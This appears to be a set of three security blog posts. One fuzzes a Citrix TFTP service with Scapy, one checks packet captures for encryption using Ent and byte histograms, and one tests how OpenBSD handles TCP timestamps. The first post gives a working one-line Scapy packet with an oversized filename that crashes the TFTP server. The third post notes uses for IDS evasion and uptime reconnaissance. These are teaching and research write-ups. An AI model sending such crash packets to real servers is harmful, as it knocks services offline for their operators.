Scapy, and Random Acts of Packety Violence

I noticed while running a vulnerability scan with Nessus, that Citrix Provisioning Servers's TFTP service would crash. This service is used for the PXE booting Citrix's virtual machines, so it is rather important.

I began to wonder if I could cause it to crash with my own evil packet. Of course, I could just sniff the traffic generated by Nessus, but that takes away from the challenge and it wouldn't tell me the exact portion of the packet that caused the crash.

I did a bit of research on TFTP by reading the RFC. In addition, I found that the Wikipedia article has a pretty good description as well as some nice pretty pictures. I thought the packet most likely to cause a crash would be the RRQ (read request) and specifially the filename attribute, since it has the most manipulatable data. I then fired up Scapy.

Python 2.6.5 (r265:79063, Apr 16 2010, 13:09:56)
[GCC 4.4.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
>>> 

I then took a look at the options for TFTP

>>> ls()
...
TFTP       : TFTP opcode
TFTP_ACK   : TFTP Ack
TFTP_DATA  : TFTP Data
TFTP_ERROR : TFTP Error
TFTP_OACK  : TFTP Option Ack
TFTP_Option : None
TFTP_Options : None
TFTP_RRQ   : TFTP Read Request
TFTP_WRQ   : TFTP Write Request

...and the specific options for RRQ.

>>> ls(TFTP_RRQ)
filename   : StrNullField         = ('')
mode       : StrNullField         = ('octet')

Now to create the packet. Remember, TFTP is UDP, and here is how we make a TFTP RRQ packet.

>>> IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(filename='aaa')
<IP  frag=0 proto=udp dst=10.1.2.3 |<UDP  sport=1337 dport=tftp |<TFTP  op=RRQ |<TFTP_RRQ  filename='aaaa' |>>>>

There are a lot of options at each later, but at a minimum we need to set the destination address and port. This creates a valid request for the file aaaa. Let's take a look at the packet by using 'ls'.

>>> ls(IP(dst='10.0.2.15')/UDP(dport=69)/TFTP()/TFTP_RRQ(filename='aaaa'))
version  : BitField        = 4            (4)
ihl      : BitField        = None         (None)
tos      : XByteField      = 0            (0)
len      : ShortField      = None         (None)
id       : ShortField      = 1            (1)
flags    : FlagsField      = 0            (0)
frag     : BitField        = 0            (0)
ttl      : ByteField       = 64           (64)
proto    : ByteEnumField   = 17           (0)
chksum   : XShortField     = None         (None)
src      : Emph            = '10.1.3.37'  (None)
dst      : Emph            = '10.1.2.3'   ('127.0.0.1')
options  : IPoptionsField  = ''           ('')
--
sport    : ShortEnumField  = 53           (53)
dport    : ShortEnumField  = 69           (69)
len      : ShortField      = None         (None)
chksum   : XShortField     = None         (None)
--
op       : ShortEnumField  = 1            (1)
--
filename : StrNullField    = 'aaaa'       ('')
mode     : StrNullField    = 'octet'      ('octet')

For those of you not familiar with Scapy, the rightmost column shows the default settings, and the second from the right shows the settings we are using. Now, on to fuzzing...

>>> send(IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet')))

To fuzz with scapy we just wrap a portion with fuzz(). Any properties that aren't set will contain randomly generated junk. Let's take a look, via 'ls', and see what the packet looks like.

>>> ls(IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet')))
<snip>
--
filename   : StrNullField         = <RandTermString> ('')
mode       : StrNullField         = 'octet'         ('octet')

Note the value for the filename property, RandTermString. This means every time we send the packet it will generate a random string. Now to fuzz the service and see what happens.

>>> pkt = IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet'))
>>> send(pkt, loop=1)
................................................................^C
Sent 64 packets.

We use 'send' to send the packet, the 'loop' option just tells python to keep sending packets. Each time the packet is sent we have a different random file name, and within the first 64 packets the service crashed. Sweet! We have confirmed the problem is with the 'filename' attribute, now to get a bit more surgical.

After poking around with the TFTP service I noticed there is a -debug switch, which allows it to be run from the command line. This means we don't have to restart the service and we can just run the executable from the command line. This can be used to automatically restart the TFTP server.

C:\> for /L %i in (1, 0, 2) do ArdenceTFTP.exe -debug && echo ^G

This is an infinite loop, the variable %i will start at 1, be incremented by 0, and the loop will end when %i equals 2. Obviously, %i will never equal 2 so our loop will repeat forever (or until we break out of it). The executable is run with the debug option so we don't have to restart the service. The double ampersands allows the second command (echo) to run only after the first (ArdenceTFTP.exe) has completed. The echo ^G (typed with ctrl+G not caret+G) will give us a beep to alert us that the first command has exited, which in our case a crash. This will automatically restart the TFTP server and give us an audio cue when the application crashes.

In addition, we also need to turn off the notifications in Windows so we don't get notified on every crash. Normally, the prompt waits for someone to click "Close the Program" before it officially closes the program. This would seriously slow down our progress. Fortunately, there is a registry setting we can modify to turn off this feature.

C:\> reg add "HKCU\Software\Microsoft\Windows\Windows Error Reporting" /v DontShowUI /t REG_DWORD /d 1 /f

This command updates the Windows Error Reporting registry key and sets the value of DontShowUI to 1. We have to use the Force (/f) option so it will overwrite the existing value. A quick aside, you can check out some of the command line kung fu over at the Command Line Kung Fu Blog to learn how to use command line tricks to save yourself time. Now back to your regular scheduled programming...

I fired up WireShark to capture our traffic so we can look at the offending packet (yes, I know we can use Scapy, but I didn't). I then begin firing the fuzzy packets at our server.

We can use the 'inter' option with 'send' to slow down the speed at which packets are sent so we can better determine which packet crashed the TFTP server. This option 'inter' is the time in seconds to wait between each packet being sent. Thanks to your earlier command line kung fu, when we hear a beep on our Windows machine, we can stop sending packets. I like to think Windows is cursing at me when the beeping begins, but I digress.

>>> send(pkt, loop=1, inter=1)
.......^C
Sent 7 packets.

Now we save the packet capture in WireShark and open it up in Scapy using rdpcap.

>>> pkts=rdpcap('tftpkilla.pcap')
>>> pkts
<tftpkilla.pcap: TCP:0 UDP:7 ICMP:0 Other:0>

Now let's see which packet was our killer.

>>> sendp(pkts[0])
.
Sent 1 packets.  <no beep>
>>> sendp(pkts[1])
.
Sent 1 packets.  <no beep>
>>> sendp(pkts[2])
.
Sent 1 packets.  <BEEP!!!>

We can grab just the offending packet:

>>> killa=pkts[2]
>>> sendp(killa)

Oh yeah! I can send this packet and kill the TFTP server every time!

We use 'sendp' in this case since our packet caputure has the layer 2 headers, 'send' is used when you only have layer 3 (IP) headers.

Now, let's look at some of the info on the filename.

>>> len(killa.filename)
396

Hrm...I wonder if just the length of the filename what makes our killa so potent.

>>> send(IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(mode='octet',filename="A"*396))
.
Sent 1 packets. <BEEP!!!>

Using a payload of 396 A's we can cause a crash. So the payload doesn't seem to matter, but the length does. After narrowing this down, I find that 203 bytes will cause death.

>>> send(IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(mode='octet',filename="A"*203))

Cool, so now we know the problem. What can we do from here? We could see if we can overflow a buffer and cause remote code execution, but I took a look at it with a debugger and no luck. We may not be able to take over the server, but we can make it angry.

By the way, this bug has been resolved in the most recent version of Citrix Provisioning Server.

No go out and start fuzzing yourself, but don't try this on any of your (or other people's) production services.

Packet Payloads, Encryption and Bacon

I received an email from a private mailing list recently, asking for some help in reviewing the contents of a packet capture file:

“I have a 2.5 GB pcap file which I want to verify that it contains only encrypted content. […] I’m wondering if anyone knows of a way that I can accomplish this using Windump or some other Windows utility.”

This kind of analysis happens frequently when performing a black-box pentest against a protocol.  Over the years I’ve used a couple of techniques to evaluate the content of packet captures to determine if the traffic is encrypted or just obfuscated.

Strings and Other Fun Unix Tools

The strings utility can be used to evaluate the contents of a packet capture to pull out any content that is within the ASCII character set.  First, for a packet capture I know to contain unencrypted content:

root@bt:~# strings capture1.dump | more
,7G9
I\3S
{#_3#\
HnL2`
o:|?
4"D
Ke6
RO*t
xtB,}X
981fh)
5JcA
84+
(P;u
'n]Ii
--More-- 

This content isn't particularly illustrative, since these strings aren't ASCII words or other content that would immediately identify the presence of unencrypted traffic. We can modify the strings command to only show longer strings by adding the "-n" argument:

root@bt:~# strings -n 8 capture1.dump | more
:Azf`^Y/
UOV;uqbe-
BRW00234DDA2223
BRW00234DDA2223
BRW00234DDA2223
BRW00234DDA2223
BRW00234DDA2223
BRW00234DDA2223
jwright-x300
MSFT 5.0
jwright-x300
MSFT 5.0
Og{7n_S!
jwright-x300
--More--  

This is more interesting, allowing us to easily recognize plaintext strings representing hostnames and Windows client traffic. It's not always this easy though; consider the case of obfuscated traffic, even something as simple as XOR with a fixed value. This would obscure the presence of plaintext strings, but not actually be encrypted.

Packet Payload Histogram

We have a golden rule with encryption: encrypted content should be indistinguishable from random content.  This is an attribute we can use to visually assess the bytes of a packet payload.  A packet payload histogram tool reads through a packet capture and counts how frequently each byte of packet payload occurs.  My pcaphistogram tool identifies TCP and UDP packets, counting the payload data and creating a gnuplot-compatible script to graph the results.  Lets look at an example using the capturte1.dump packet capture:

root@bt:~# perl pcaphistogram.pl capture1.dump | gnuplot
Skipping non-ip packet.
Unknown IP Protocol: 50.  Skipping packet.
Skipping non-ip packet.
Unknown IP Protocol: 80.  Skipping packet.
root@bt:~# ls -l capture1.png
-rw-r--r-- 1 root root 2685 Nov 29 12:48 capture1.png
root@bt:~#  

The capture1.png file is displayed below.

The “+” signs map out the frequency of each byte of the packet capture with frequency on the Y-axis and the byte values themselves (in hex) on the X-axis.  We can see a cluster of various byte values around 0x61, which coincides with the lowercase ASCII character set.  With this content, we can easily determine that the packet capture is not encrypted.

By comparison, let’s look at an encrypted packet capture example:

Here the byte values are very narrowly distributed, with very little variation in frequency from one byte to the next.  This pattern is unlike the prior unencrypted pattern, but it is still difficult to ascertain if this content is encrypted.  We know the content appears random, which is an attribute of encrypted traffic, so it is likely to be encrypted, but it could also be just random traffic.

A third example is shown below.

This is another unencrypted packet capture, but the content is obfuscated using a static XOR key.  No ASCII strings would be present in the packet capture, but from the packet content variance we can ascertain that this data is not encrypted.

The pcaphistogram tool has served me well for many assessments, but lately I’ve been favoring a different approach.

Entropy Analysis with Ent

Ent is a simple yet very useful tool that reads from a specified file and performs several tests to evaluate the content of the data including:

• Entropy: The information density of the file content in a number of bits per byte.
  
• Chi-Square-Test: Measures the percentage of data randomness.
  
• Arithmetic Mean: Calculates the mean of the values in the file divided by the file length.
  
• Monte Carlo Value for Pi: Uses successive sequences of 24-bit X and Y coordinates to graph a square and measure the radius of an inscribed circle attempting to calculate the value of Pi.  Random content will produce a product very close to the actual value of Pi.
  
• Serial Correlation Coefficient: Measures the extent where each byte in the file depends on the previous byte.

Ent is not installed by default on Backtrack and unlikely to be present by default in other distributions.  On Backtrack, you can install Ent by running “apt-get install ent”.

Using Ent is very simple.  For example, dumping data from the Linux /dev/urandom device and evaluating it with Ent displays the following content:

root@bt:~# dd if=/dev/urandom bs=16384 count=1000 of=rand.bin
1000+0 records in
1000+0 records out
16384000 bytes (16 MB) copied, 6.28625 s, 2.6 MB/s
root@bt:~# ent rand.bin
Entropy = 7.999989 bits per byte.

Optimum compression would reduce the size
of this 16384000 byte file by 0 percent.

Chi square distribution for 16384000 samples is 245.34, and randomly
would exceed this value 50.00 percent of the times.

Arithmetic mean value of data bytes is 127.4926 (127.5 = random).
Monte Carlo value for Pi is 3.141788853 (error 0.01 percent).
Serial correlation coefficient is -0.000268 (totally uncorrelated = 0.0).

Ent reports that the entropy for this file is more than 7.999 bits per byte, which is very random.  A second example reading from a dictionary file:

root@bt:~# ent /pentest/passwords/wordlists/bt4-password.txt
Entropy = 5.083091 bits per byte.

Optimum compression would reduce the size
of this 32952523 byte file by 36 percent.

Chi square distribution for 32952523 samples is 318231422.65, and randomly
would exceed this value 0.01 percent of the times.

Arithmetic mean value of data bytes is 86.6330 (127.5 = random).
Monte Carlo value for Pi is 4.000000000 (error 27.32 percent).
Serial correlation coefficient is 0.180351 (totally uncorrelated = 0.0).

This time we have a very different result, indicating significantly less entropy.  We can use this same technique to review the content of a packet capture to solve the problem posed at the beginning of this article.  First we need to extract the payload data out of the packet capture; this is straightforward with Scapy:

root@bt:~# scapy
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
INFO: No IPv6 support in kernel
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.1.0)
>>> fp = open("payloads.dat","wb")
>>> def handler(packet):
...     fp.write(str(packet.payload.payload.payload))
...
>>> sniff(offline="capture1.dump",prn=handler,filter="tcp or udp")

Here we created an output file "payloads.dat" and used the Scapy sniff() function to read from "capture1.dump", using the Berkeley Packet Filter syntax to process only TCP or UDP traffic, calling the function "handler" for each packet in the capture file.  The handler() function simply writes a string representation of the packet.payload.payload.payload (that's the original packet, Ethernet -> IP -> TCP (or UDP) payload) to the "payloads.dat" file.  Next we can assess the payloads.dat file with Ent:

root@bt:~# ent payloads.dat
Entropy = 5.216871 bits per byte.

Optimum compression would reduce the size
of this 2461696 byte file by 34 percent.

Chi square distribution for 2461696 samples is 24219040.94, and randomly
would exceed this value 0.01 percent of the times.

Arithmetic mean value of data bytes is 91.6014 (127.5 = random).
Monte Carlo value for Pi is 3.977878630 (error 26.62 percent).
Serial correlation coefficient is 0.187293 (totally uncorrelated = 0.0).

Ent is telling us the content is not encrypted in each of the tests; not even close. Let's look at capture2.dump:

>>> fp = open("payloads.dat","wb")
>>> sniff(offline="capture2.dump",prn=handler,filter="tcp")
<Sniffed: TCP:3840 UDP:8 ICMP:0 Other:0>

Repeating the Ent analysis with the results from the 2nd packet capture reveals the following:

root@bt:~# ent payloads.dat
Entropy = 7.999926 bits per byte.

Optimum compression would reduce the size
of this 2912256 byte file by 0 percent.

Chi square distribution for 2912256 samples is 299.50, and randomly
would exceed this value 5.00 percent of the times.

Arithmetic mean value of data bytes is 127.5390 (127.5 = random).
Monte Carlo value for Pi is 3.139916271 (error 0.05 percent).
Serial correlation coefficient is 0.001657 (totally uncorrelated = 0.0).

As expected, Ent reveals that the 2nd capture has a very high entropy level with all tests indicating the high degree of randomness in the payloads.dat file.

Finally, just to validate our earlier analysis for the obfuscated data in capture3.dump, one last analysis exercise:

>>> fp = open("payloads.dat","wb")
>>> sniff(offline="capture3.dump",prn=handler,filter="tcp")
<Sniffed: TCP:2626 UDP:0 ICMP:0 Other:4>

And our analysis with Ent:

# ent payloads.dat
Entropy = 4.914504 bits per byte.

Optimum compression would reduce the size
of this 2914852 byte file by 38 percent.

Chi square distribution for 2914852 samples is 56249721.62, and randomly
would exceed this value 0.01 percent of the times.

Arithmetic mean value of data bytes is 168.2762 (127.5 = random).
Monte Carlo value for Pi is 1.609483582 (error 48.77 percent).
Serial correlation coefficient is 0.927980 (totally uncorrelated = 0.0).

Again we show that the obfuscated data, despite not looking like unencrypted data, is not encrypted.

Wrapping Up

Evaluating the content of a packet capture is a common task for a pentest, though it can be equally useful for incident response analysis for unknown protocols, or perhaps even forensic analysis.  Both pcaphistogram and Ent gave us the answers we needed to answer the opening question.  I generally use Ent for my own analysis purposes, though I’ll re-run the data through pcaphistogram when I’m doing reporting since the output of pcaphistogram is much more interesting to look at and easier to understand than explaining the Chi Square Distribution test.

In my SANS Ethical Hacking Wireless course, we leverage tools such as pcaphistogram and Ent for evaluating proprietary wireless technologies over WiFi and ZigBee/IEEE 802.15.4 networks, as well as attacking Bluetooth, DECT and more.  I’m teaching next in New Orleans the week of 1/20/2011 – 1/25/2011; come check it out!  New Orleans is one of my favorite places in the world for the food, culture and history.  If you are planning on attending, let me know and I’ll coordinate reservations for Arnaud’s for a dining and music experience you’ll always remember.

Bacon

Everything’s better with bacon.  Seriously.

-Josh

OpenBSD Timestamps

It’s not breaking news that OpenBSD strives to be at the forefront of security. It appears that their TCP timestamp option behavior reflects this as well. The purpose of the TCP timestamp is to measure roundtrip times as well as to act as an extension to the TCP sequence numbers by disambiguating two segments that arrive simultaneously, have identical TCP sequence numbers, but contain different TCP timestamps such as in the case of wrapping TCP sequence numbers. The likelihood of this happening is slim to none, however, if it does, the segment with the later timestamp is favored while the one with the older timestamp is dropped. I’ve found a variety of different OS-specific behaviors regarding old TCP timestamps that offer a wealth of opportunities for IDS/IPS evasion.

Most operating systems employ a TCP timestamp behavior where the sender’s value reflects the number of clock ticks since the last reboot. A clock tick is a vague concept described in RFC 1323 as “The timestamp value to be sent is to be obtained from a (virtual) clock that we call the "timestamp clock". Its values must be at least approximately proportional to real time…”. Now, think about this in terms of security. A high TCP timestamp divulges that the host has not been rebooted in a while. Now, let’s say there is a patch released on MS Tuesday for a new Windows remote exploit. Further, installation of this patch requires a reboot. An attacker searching for victim hosts could gain some valuable reconnaissance just from a TCP timestamp if he/she could communicate with a potential target host via TCP.

OpenBSD must have seen the possible leakage of information from the TCP timestamp so they now randomize the first timestamp on every new TCP/IP session. They increment the timestamp in subsequent segments in the session to meet the standard of approximating the passage of time for accurate round trip time measurement (RTTM). But, they eliminate the possibility for the TCP timestamp to be used to reflect the uptime since last reboot.

Let’s take a look at the difference between the more conventional incremental Windows TCP timestamp and the randomized OpenBSD timestamp. I sent five SYNs in rapid succession to a Windows host first and then to an OpenBSD host to examine the TCP timestamp values in the returned SYN/ACK. I’ve edited the tcpdump output to contain only the pertinent information to save space. As you can see the Windows host 75.101.150.118 generates incremental TCP timestamp values.

Now, look at the OpenBSD random timestamp values from host 142.244.12.42.

While this is impressive in itself, I believe OpenBSD has relegated the use of TCP timestamps exclusively for RTTM and not for the almost useless Protection of Wrapped Sequence Numbers (PAWS) that distinguishes between old and new timestamps. As far as I’m concerned the RTTM is the only reason to support TCP timestamps so I’m pleased if this is the case. I say “if this is the case” since I don’t have an accessible OpenBSD to send my Scapy generated traffic so I have to believe that the Netcraft association of www. openbsd.org and www.bsd.org with OpenBSD/NetBSD OS is correct. My only hesitation is that there may be some kind of device that exists between the sending and receiving boxes that acts as a proxy or somehow permutes the TCP timestamp from the actual host. But, I tried two different hosts that reside on different networks to help bolster my confidence that I’m communicating with actual OpenBSD hosts.

My experiment is to try to get the receiving host to drop all segments after the initial SYN by assigning them a lower timestamp. Using Scapy, I place a timestamp value of 100 on the SYN and 0 on all subsequent ones. First, let’s look at how Windows handles this. It never acknowledges any data I send to it, echoes the expecected timestamp of "ecr 100", and even attempts to resend the SYN/ACK in the final segment to give me another chance to send an appropriate higher timestamp in my initial ACK. This is the expected behavior and conforms to RFC 1323 specification.

Conversely, take a look at the same traffic sent to an OpenBSD host 142.244.12.42. It happily accepts and echoes the old timestamp value of 0 and returns the requested web page, albeit in reverse order, meaning it accepted the segment with the old timestamp carrying the web request.

In an effort to corroborate the behavior above, I wanted to test another OpenBSD host – www.bsd.org - that belongs to a totally different network address block with different devices standing between my network and the web server. As you can see host 192.231.225.11 parrots this same behavior of ignoring the old timestamp.

Initially, I thought there might be something wrong with the traffic I was sending. I know some operating systems require you to echo the timestamp they issue in order to receive subsequent segments. I typically don’t do this because it’s a few more lines of code, but I added the code to echo the server’s timestamps and I still witnessed the behavior of OpenBSD ignoring old timestamps. If this is indeed the case, I think OpenBSD has made a good, and as usual, innovative decision to support only the useful features of the TCP timestamp.